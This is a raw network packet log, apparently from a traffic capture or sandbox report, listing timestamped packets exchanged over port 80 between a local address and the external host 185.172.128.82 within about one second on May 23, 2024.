May 23, 2024 23:33:10.085782051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085798979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085814953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085824966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085849047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085859060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085881948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.085890055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.085942984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086216927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086251020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086266994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086283922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086293936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086318016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086325884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086350918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086358070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086385012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086395025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086419106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086427927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086452961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086460114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086496115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086507082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086539984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086553097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086581945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086838007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086889982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086890936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086924076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086932898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086956978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.086971045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.086988926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087004900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087023973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087035894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087057114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087071896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087102890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087122917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087156057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087174892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087188959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087199926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087222099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087234974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087255955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087269068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087289095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087305069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087322950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087340117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087356091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087368011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087390900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087407112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087436914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087800980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087835073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087852001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087867975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087877989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087902069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087910891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087934971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087949991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.087969065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.087982893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088001966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.088016987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088036060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.088054895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088080883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.088097095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088118076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.088129044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088165045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.088335991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.088387012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169436932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169579029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169611931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169645071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169684887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169682980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169682980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169682980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169682980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169738054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.169770956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.169825077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.172928095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173010111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173043013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173064947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173064947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173094034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173096895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173127890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173145056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173161030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173171043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173202038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173222065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173254967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173274040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173288107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173301935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173329115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173438072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173489094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173522949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173572063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173573971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173607111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173623085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173646927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173667908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173702955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173717976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173746109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173804998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173837900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173856974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173870087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173880100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173903942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.173919916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.173954010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174123049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174156904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174175024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174190044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174199104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174222946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174232960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174256086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174278975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174289942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174314022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174323082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174338102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174357891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174374104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174401999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174477100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174529076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174544096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174571991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174858093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174890995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174909115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174923897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174933910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174957991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.174968004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.174990892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175004959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175024986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175038099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175057888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175072908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175091982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175106049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175124884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175138950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175168991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175187111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175220966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175235987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175252914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175267935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175287008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175298929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175321102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175329924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175354004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175359964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175395966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175677061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175712109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175728083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175744057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175755024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175779104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175789118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175812960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175827026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175847054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175859928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175894976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.175914049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.175964117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176134109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176167011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176186085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176199913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176208019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176248074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176264048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176297903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176314116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176331043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176338911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176363945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176377058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176397085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176410913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176429987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176445007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176462889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176470995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176495075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176512003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176528931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176542044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176562071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176580906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176595926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176605940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176629066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176640987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176662922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176676035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176697969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176709890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176732063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176748991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176769018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176773071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176816940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176902056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176934004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.176951885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.176979065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177058935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177093029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177110910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177124977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177134991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177174091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177176952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177210093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177237034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177242041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177249908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177274942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177288055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177316904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177339077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177371025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177381039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177405119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177413940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177438021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177449942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177472115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177490950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177505016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177510977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177537918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177546024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177571058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177582026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177604914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177613020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177639008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177653074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177674055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177685976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177707911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177721977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177755117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177864075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177903891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.177915096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177948952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.177980900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178029060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178061008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178095102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178109884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178143024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178143978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178186893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178215027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178248882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178272009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178281069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178292990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178323030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.178335905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.178380966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.180891991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.181030989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.260302067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260359049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260375023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260418892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260560036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.260560036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.260579109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260612965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.260634899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.260658979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.264825106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.264861107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.264884949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.264909029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.264909983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.264945984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.264959097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.264993906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.264995098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265043020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265059948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265093088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265100956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265126944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265139103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265158892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265181065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265191078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265207052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265223026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265240908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265255928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265275955 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265288115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265299082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265336037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265549898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265583038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265607119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265614033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265623093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265647888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265661955 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265681028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265697956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265714884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265731096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265748978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265764952 CEST	49733	80	192.168.2.4	185.172.128.82
